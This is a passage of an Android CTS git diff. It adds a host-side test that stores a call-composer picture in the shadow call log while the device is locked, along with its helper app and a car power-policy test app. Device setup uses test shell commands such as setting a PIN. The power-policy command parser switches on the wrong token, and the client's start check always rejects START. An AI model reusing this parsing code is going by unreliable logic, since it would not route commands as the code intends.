+<configuration description="Config for CTS media host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- These tests explicitly handle multiuser switching themselves. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsCallLogTestCases.jar" />
+        <option name="runtime-hint" value="10m" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/calllog/OWNERS b/hostsidetests/calllog/OWNERS
new file mode 100644
index 0000000..bb4fb86
--- /dev/null
+++ b/hostsidetests/calllog/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 151185
+include platform/frameworks/base:/telecomm/OWNERS
diff --git a/hostsidetests/calllog/app/Android.bp b/hostsidetests/calllog/app/Android.bp
new file mode 100644
index 0000000..c89655f
--- /dev/null
+++ b/hostsidetests/calllog/app/Android.bp
@@ -0,0 +1,40 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsCallLogDirectBootApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "truth-prebuilt",
+    ],
+    libs: ["android.test.base"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/calllog/app/AndroidManifest.xml b/hostsidetests/calllog/app/AndroidManifest.xml
new file mode 100644
index 0000000..3567d22
--- /dev/null
+++ b/hostsidetests/calllog/app/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.provider.cts.contacts.testapp">
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+
+    <application android:label="CallLogTestApp">
+        <receiver android:name=".BootReceiver"
+                android:directBootAware="true"
+                android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.provider.cts.contacts.testapp" />
+</manifest>
diff --git a/hostsidetests/calllog/app/res/drawable/cupcake.png b/hostsidetests/calllog/app/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/hostsidetests/calllog/app/res/drawable/cupcake.png
Binary files differ
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
new file mode 100644
index 0000000..3dd9cca
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
@@ -0,0 +1,58 @@
+package android.provider.cts.contacts.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class BootReceiver extends BroadcastReceiver {
+    private static final String LOG_TAG = "CallLogTestBootReceiver";
+    public static final String BOOT_COMPLETE = "boot_complete";
+    public static final String LOCKED_BOOT_COMPLETE = "locked_boot_complete";
+    public static final String SHARED_PREFS_NAME = "boot_complete_info";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (Intent.ACTION_LOCKED_BOOT_COMPLETED.equals(intent.getAction())) {
+            SharedPreferences prefs = context.createDeviceProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            prefs.edit().putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+            Log.i(LOG_TAG, "Received locked boot complete");
+        } else if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
+            SharedPreferences dePrefs = context.createDeviceProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            SharedPreferences cePrefs = context.createCredentialProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            dePrefs.edit().putBoolean(BOOT_COMPLETE, true).commit();
+            cePrefs.edit().putBoolean(BOOT_COMPLETE, true)
+                    .putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+            Log.i(LOG_TAG, "Received boot complete");
+        }
+    }
+
+    public static boolean waitForBootComplete(Context context, String action, long timeoutMillis)
+            throws Exception {
+        SharedPreferences prefs =
+                context.getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+        CompletableFuture<Void> onBootCompleteChanged = new CompletableFuture<>();
+        prefs.registerOnSharedPreferenceChangeListener(
+                (sharedPreferences, key) -> {
+                    if (action.equals(key)) {
+                        onBootCompleteChanged.complete(null);
+                    }
+                });
+        if (prefs.getBoolean(action, false)) return true;
+        try {
+            onBootCompleteChanged.get(timeoutMillis, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            Log.w(LOG_TAG, "Timed out waiting for " + action);
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
new file mode 100644
index 0000000..d8ca24f
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
@@ -0,0 +1,155 @@
+package android.provider.cts.contacts.testapp;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.provider.CallLog;
+import android.support.test.uiautomator.UiDevice;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+import android.util.Pair;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+// Copied piecemail from EncryptionAppTest and adapted to test the call log.
+public class CallLogDirectBootTest extends InstrumentationTestCase {
+
+    private static final String LOG_TAG = CallLogDirectBootTest.class.getSimpleName();
+    private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+    private Context mCe;
+    private Context mDe;
+    private UiDevice mDevice;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mCe = getInstrumentation().getContext();
+        mDe = mCe.createDeviceProtectedStorageContext();
+
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        assertNotNull(mDevice);
+    }
+
+    public void testShadowCallComposerPicture() throws Exception {
+        BootReceiver.waitForBootComplete(mDe, BootReceiver.LOCKED_BOOT_COMPLETE,60000);
+        Log.i(LOG_TAG, "Locked boot complete received, starting test");
+
+        byte[] expected = readResourceDrawable(mDe, R.drawable.cupcake);
+        Log.i(LOG_TAG, "read drawable from resources");
+
+
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            // While still locked, write a picture to the call log, assuming it ends up in the shadow.
+            CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+                    new CompletableFuture<>();
+            Pair<Uri, CallLog.CallComposerLoggingException> result;
+            try (InputStream inputStream =
+                         mDe.getResources().openRawResource(R.drawable.cupcake)) {
+                CallLog.storeCallComposerPicture(
+                        mDe.createContextAsUser(android.os.Process.myUserHandle(), 0),
+                        inputStream,
+                        Executors.newSingleThreadExecutor(),
+                        new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+                            @Override
+                            public void onResult(@NonNull Uri result) {
+                                resultFuture.complete(Pair.create(result, null));
+                            }
+
+                            @Override
+                            public void onError(CallLog.CallComposerLoggingException error) {
+                                resultFuture.complete(Pair.create(null, error));
+                            }
+                        });
+                result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            }
+            if (result.second != null) {
+                fail("Got error " + result.second.getErrorCode() + " when storing image");
+            }
+            Log.i(LOG_TAG, "successfully received uri for inserted image");
+            Uri imageLocation = result.first.buildUpon().authority(CallLog.AUTHORITY).build();
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final BroadcastReceiver receiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    latch.countDown();
+                }
+            };
+            getInstrumentation().getContext().createDeviceProtectedStorageContext()
+                    .registerReceiver(receiver, new IntentFilter(Intent.ACTION_USER_UNLOCKED));
+
+            dismissKeyguard();
+
+            // Dismiss keyguard should have kicked off immediate broadcast
+            assertTrue("USER_UNLOCKED", latch.await(1, TimeUnit.MINUTES));
+
+            BootReceiver.waitForBootComplete(mCe, BootReceiver.BOOT_COMPLETE, 60000);
+
+            try (ParcelFileDescriptor pfd =
+                         mCe.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+                byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+                assertArrayEquals(expected, remoteBytes);
+            }
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            dismissKeyguard();
+        }
+    }
+
+    private static byte[] readResourceDrawable(Context context, int id) throws Exception {
+        InputStream inputStream = context.getResources().openRawResource(id);
+        return readBytes(inputStream);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void enterTestPin() throws Exception {
+        mDevice.waitForIdle();
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_1);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_2);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_3);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_4);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_5);
+        mDevice.waitForIdle();
+        mDevice.pressEnter();
+        mDevice.waitForIdle();
+    }
+
+    private void dismissKeyguard() throws Exception {
+        mDevice.wakeUp();
+        mDevice.waitForIdle();
+        mDevice.pressMenu();
+        mDevice.waitForIdle();
+        enterTestPin();
+        mDevice.waitForIdle();
+        mDevice.pressHome();
+        mDevice.waitForIdle();
+    }
+}
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
new file mode 100644
index 0000000..272a3df
--- /dev/null
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.hostside;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.AdbCommandRejectedException;
+import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.ddmlib.Log;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+@Ignore("Runtime too long and may lock up device when it fails")
+public class ShadowCallLogTest extends BaseHostJUnit4Test {
+    private static final String TAG = ShadowCallLogTest.class.getSimpleName();
+
+    private static final String PKG = "android.provider.cts.contacts.testapp";
+    private static final String CLASS = PKG + ".CallLogDirectBootTest";
+    private static final String APK = "CtsCallLogDirectBootApp.apk";
+
+    private static final String MODE_EMULATED = "emulated";
+    private static final String MODE_NONE = "none";
+
+    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
+
+    @Before
+    public void setUp() throws Exception {
+        assertNotNull(getAbi());
+        assertNotNull(getBuild());
+
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Test
+    public void testDirectBootCallLog() throws Exception {
+        String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+        if (MODE_NONE.equals(fbeMode)) {
+            Log.i(TAG, "Device doesn't support FBE, skipping.");
+            return;
+        }
+        try {
+            Log.i(TAG, "Test starting");
+            waitForBootCompleted(getDevice());
+            // Set up test app and secure lock screens
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+            File apkFile = buildHelper.getTestFile(APK);
+            getDevice().installPackage(apkFile, true);
+            Log.i(TAG, "Package installed");
+
+            setupDevicePassword();
+
+            // Give enough time for vold to update keys
+            Thread.sleep(15000);
+
+            Log.i(TAG, "Rebooting device");
+            // Reboot system into known state with keys ejected
+            if (MODE_EMULATED.equals(fbeMode)) {
+                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
+                if (res != null && res.contains("Emulation not supported")) {
+                    return;
+                }
+                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+                getDevice().waitForDeviceOnline(120000);
+            } else {
+                getDevice().rebootUntilOnline();
+            }
+            waitForBootCompleted(getDevice());
+
+            assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
+        } catch (Throwable t) {
+            Log.e(TAG, "Error encountered: " + t);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                Log.i(TAG, "Attempting to remove device password");
+                removeDevicePassword();
+            } finally {
+                Log.i(TAG, "Final cleanup");
+                getDevice().uninstallPackage(PKG);
+
+                // Get ourselves back into a known-good state
+                if (MODE_EMULATED.equals(fbeMode)) {
+                    getDevice().executeShellCommand("sm set-emulate-fbe false");
+                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+                    getDevice().waitForDeviceOnline();
+                } else {
+                    getDevice().rebootUntilOnline();
+                }
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    private void setupDevicePassword() throws Exception {
+        Log.i(TAG, "running device password setup");
+        ITestDevice device = getDevice();
+        device.executeShellCommand("settings put global require_password_to_decrypt 0");
+        device.executeShellCommand("locksettings set-disabled false");
+        device.executeShellCommand("locksettings set-pin 12345");
+    }
+
+    private void removeDevicePassword() throws Exception {
+        Log.i(TAG, "clearing device password");
+        ITestDevice device = getDevice();
+        device.executeShellCommand("locksettings clear --old 12345");
+        device.executeShellCommand("locksettings set-disabled true");
+        device.executeShellCommand("settings delete global require_password_to_decrypt");
+    }
+
+    public static void waitForBootCompleted(ITestDevice device) throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted(device)) {
+                Log.d(TAG, "Yay, system is ready!");
+                // or is it really ready?
+                // guard against potential USB mode switch weirdness at boot
+                Thread.sleep(10 * 1000);
+                return;
+            }
+            Log.d(TAG, "Waiting for system ready...");
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+
+    private static boolean isBootCompleted(ITestDevice device) throws Exception {
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            device.getIDevice().executeShellCommand("getprop sys.boot_completed", receiver);
+        } catch (AdbCommandRejectedException e) {
+            // do nothing: device might be temporarily disconnected
+            Log.d(TAG, "Ignored AdbCommandRejectedException while `getprop sys.boot_completed`");
+        }
+        String output = receiver.getOutput();
+        if (output != null) {
+            output = output.trim();
+        }
+        return "1".equals(output);
+    }
+}
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index 1df7b6d..cdbcfd3 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -33,4 +33,10 @@
         "cts",
         "general-tests",
     ],
+    static_libs: [
+    	"cts-statsd-atom-host-test-utils",
+    ],
+    data: [
+        ":CtsCarApp",
+    ],
 }
diff --git a/hostsidetests/car/AndroidTest.xml b/hostsidetests/car/AndroidTest.xml
index d72f51a..3699a2b 100644
--- a/hostsidetests/car/AndroidTest.xml
+++ b/hostsidetests/car/AndroidTest.xml
@@ -19,6 +19,10 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCarApp.apk" />
+    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCarHostTestCases.jar" />
         <option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/car/app/Android.bp b/hostsidetests/car/app/Android.bp
new file mode 100644
index 0000000..0a0dd6a
--- /dev/null
+++ b/hostsidetests/car/app/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsCarApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+
+    enforce_uses_libs: false,
+    static_libs: [
+        "android.frameworks.automotive.powerpolicy-V1-java",
+        "android.hardware.automotive.vehicle-V2.0-java",
+        "androidx.test.rules",
+    ],
+
+    libs: ["android.car"],
+}
diff --git a/hostsidetests/car/app/AndroidManifest.xml b/hostsidetests/car/app/AndroidManifest.xml
new file mode 100755
index 0000000..cd8e6b7
--- /dev/null
+++ b/hostsidetests/car/app/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.car.cts.app">
+
+    <uses-permission android:name="android.car.permission.CAR_POWER"/>
+    <uses-permission android:name="android.car.permission.READ_CAR_POWER_POLICY"/>
+    <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.STORAGE_INTERNAL"/>
+
+    <application>
+        <activity android:name=".PowerPolicyTestActivity"
+            android:launchMode="singleTask"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".SimpleActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestActivity.java
new file mode 100644
index 0000000..1bab9f6
--- /dev/null
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestActivity.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.app;
+
+import android.app.Activity;
+import android.car.Car;
+import android.car.hardware.power.CarPowerManager;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.PrintWriter;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * To test car power policy:
+ *     <pre class="prettyprint">
+ *         adb shell am force-stop android.car.cts.app
+ *         adb shell am start -n android.car.cts.app/.PowerPolicyTestActivity \
+ *              --es "powerpolicy" "testcase,action[,data]"
+ *         - testcase: suite | 1 | 2 | 3 | 4 | 5 | 6
+ *         - action:   start | end | dumpstate | dumppolicy | applypolicy | closefile
+ *         - data:     policyId
+ *     </pre>
+ */
+public final class PowerPolicyTestActivity extends Activity {
+    private static final String TAG = PowerPolicyTestActivity.class.getSimpleName();
+    private static final String SHARED_DATA_FILE = "/storage/emulated/obb/PowerPolicyData.txt";
+
+    private Car mCarApi;
+    private final Object mLock = new Object();
+    @GuardedBy("mLock")
+    private CarPowerManager mPowerManager;
+    private PrintWriter mPrintWriter;
+
+    @Nullable
+    public CarPowerManager getPowerManager() {
+        synchronized (mLock) {
+            return mPowerManager;
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        Log.d(TAG, "onNewIntent");
+        Bundle extras = intent.getExtras();
+        if (extras == null) {
+            Log.w(TAG, "onNewIntent: empty extras");
+            return;
+        }
+        PowerPolicyTestCommand cmd = PowerPolicyTestClient.parseCommand(extras);
+        if (cmd == null) {
+            Log.w(TAG, "onNewIntent: invalid power policy test command");
+            return;
+        }
+        cmd.setCar(mCarApi);
+        cmd.setPrintWriter(mPrintWriter);
+        PowerPolicyTestClient.handleCommand(cmd);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        initCarApi();
+        Context ctx = getApplicationContext();
+        try {
+            mPrintWriter = new PrintWriter(new File(ctx.getFilesDir(), SHARED_DATA_FILE));
+        } catch (IOException e) {
+            Log.e(TAG, "onCreate: failed to open PowerPolicyData.txt");
+            mPrintWriter = null;
+        }
+
+        Log.d(TAG, "onCreate");
+        onNewIntent(getIntent());
+    }
+
+    private void initCarApi() {
+        if (mCarApi != null && mCarApi.isConnected()) {
+            mCarApi.disconnect();
+            mCarApi = null;
+        }
+        mCarApi = Car.createCar(this, null, Car.CAR_WAIT_TIMEOUT_WAIT_FOREVER,
+                (Car car, boolean ready) -> {
+                    initManagers(car, ready);
+                });
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.d(TAG, "onDestroy");
+        if (mCarApi != null) {
+            mCarApi.disconnect();
+        }
+        super.onDestroy();
+    }
+
+    private void initManagers(Car car, boolean ready) {
+        synchronized (mLock) {
+            if (ready) {
+                mPowerManager = (CarPowerManager) car.getCarManager(
+                        android.car.Car.POWER_SERVICE);
+                Log.d(TAG, "initManagers() completed");
+            } else {
+                mPowerManager = null;
+                Log.wtf(TAG, "initManagers() set to be null");
+            }
+        }
+    }
+}
diff --git a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java
new file mode 100644
index 0000000..71ffda0
--- /dev/null
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.app;
+
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+
+public final class PowerPolicyTestClient {
+    private static final String TAG = PowerPolicyTestClient.class.getSimpleName();
+
+    private static final String POWERPOLICY_TEST_CMD_IDENTIFIER = "powerpolicy";
+    private static final String TEST_CMD_START = "start";
+    private static final String TEST_CMD_END = "end";
+    private static final String TEST_CMD_DUMP_STATE = "dumpstate";
+    private static final String TEST_CMD_DUMP_POLICY = "dumppolicy";
+    private static final String TEST_CMD_APPLY_POLICY = "applypolicy";
+    private static final String TEST_CMD_CLOSE_DATAFILE = "closefile";
+
+    private static PowerPolicyTestClient sPowerPolicyTestClient = new PowerPolicyTestClient();
+
+    private long mClientStartTime;
+
+    // This method is not intended for multi-threaded calls.
+    public static void handleCommand(PowerPolicyTestCommand cmd) {
+        switch (cmd.getType()) {
+            case START:
+                if (sPowerPolicyTestClient != null) {
+                    Log.w(TAG, "can not restart the test without ending the previous test first");
+                    return;
+                }
+                break;
+            default:
+                if (sPowerPolicyTestClient == null) {
+                    Log.w(TAG, "execute test start command first");
+                    return;
+                }
+                break;
+        }
+        cmd.execute(sPowerPolicyTestClient);
+
+        if (cmd.getType() == PowerPolicyTestCommand.TestCommandType.END) {
+            sPowerPolicyTestClient = null;
+        }
+    }
+
+    public static PowerPolicyTestCommand parseCommand(Bundle intentExtras) {
+        String testcase;
+        String action;
+        String data;
+        PowerPolicyTestCommand cmd = null;
+        String powertest = intentExtras.getString(POWERPOLICY_TEST_CMD_IDENTIFIER);
+        if (powertest == null) {
+            Log.d(TAG, "empty power test command");
+            return cmd;
+        }
+
+        String[] tokens = powertest.split(",");
+        int paramCount = tokens.length;
+        if (paramCount != 2 && paramCount != 3) {
+            throw new IllegalArgumentException("invalid command syntax");
+        }
+
+        testcase = tokens[0];
+        action = tokens[1];
+        if (paramCount == 3) {
+            data = tokens[2];
+        } else {
+            data = null;
+        }
+
+        switch (testcase) {
+            case TEST_CMD_START:
+                cmd = new PowerPolicyTestCommand.StartTestcaseCommand(testcase);
+                break;
+            case TEST_CMD_END:
+                cmd = new PowerPolicyTestCommand.EndTestcaseCommand(testcase);
+                break;
+            case TEST_CMD_DUMP_STATE:
+                cmd = new PowerPolicyTestCommand.DumpStateCommand(testcase);
+                break;
+            case TEST_CMD_DUMP_POLICY:
+                cmd = new PowerPolicyTestCommand.DumpPolicyCommand(testcase);
+                break;
+            case TEST_CMD_APPLY_POLICY:
+                if (paramCount != 3) {
+                    throw new IllegalArgumentException("invalid command syntax");
+                }
+                cmd = new PowerPolicyTestCommand.ApplyPolicyCommand(testcase);
+                cmd.mPolicyId = data;
+                break;
+            case TEST_CMD_CLOSE_DATAFILE:
+                cmd = new PowerPolicyTestCommand.CloseDataFileCommand(testcase);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid power policy test command: "
+                    + action);
+        }
+
+        Log.i(TAG, "testcase=" + testcase + ", command=" + action);
+        return cmd;
+    }
+
+    public void cleanup() {
+        //TODO(b/183134882): add any necessary cleanup activities here
+    }
+
+    public void registerAndGo() {
+        mClientStartTime = SystemClock.uptimeMillis();
+        //TODO(b/183134882): here is the place to add listeners
+    }
+}
